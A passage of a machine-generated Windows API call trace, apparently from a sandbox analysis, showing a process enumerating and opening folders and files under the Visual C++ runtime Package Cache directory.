ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.569] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a127460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1c821ca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0092.569] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 1 [0092.569] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="")) returned 0 [0092.569] GetLastError () returned 0x12 [0092.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.569] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.570] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="")) returned 1 [0092.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.571] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.571] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.571] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.572] NtClose (Handle=0x184) returned 0x0 [0092.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.573] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368268 [0092.573] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.573] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.573] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.574] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.574] GetLastError () returned 0x12 [0092.574] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0092.574] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.574] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.574] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0092.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136e358 [0092.574] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.574] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.575] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.575] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.575] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.576] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.576] NtClose (Handle=0x184) returned 0x0 [0092.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eeb0) returned 1 [0092.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eeb0 [0092.577] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136eca0 [0092.578] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9200 [0092.578] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.578] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.578] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.578] GetLastError () returned 0x12 [0092.578] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0092.578] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.578] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.578] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 1 [0092.578] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136efb8 [0092.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.579] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.579] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.579] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0092.580] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.580] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0092.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.580] NtClose (Handle=0x184) returned 0x0 [0092.580] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f0c0 [0092.582] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f2d0 [0092.582] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9200 [0092.582] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.582] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.583] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f6f0 [0092.584] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9158 [0092.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136f7f8 [0092.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.585] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1252f88 [0092.586] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9178 [0092.587] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x1254370 [0092.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.587] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.587] GetLastError () returned 0x12 [0092.587] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0092.587] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15e8b00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd15e8b00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd15e8b00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0092.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 1 [0092.588] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="")) returned 0 [0092.588] GetLastError () returned 0x12 [0092.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.588] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.588] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1252f88) returned 1 [0092.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f0c0) returned 1 [0092.589] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="")) returned 0 [0092.589] GetLastError () returned 0x12 [0092.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136eca0) returned 1 [0092.589] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0092.589] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136efb8) returned 1 [0092.590] RtlFreeHeap 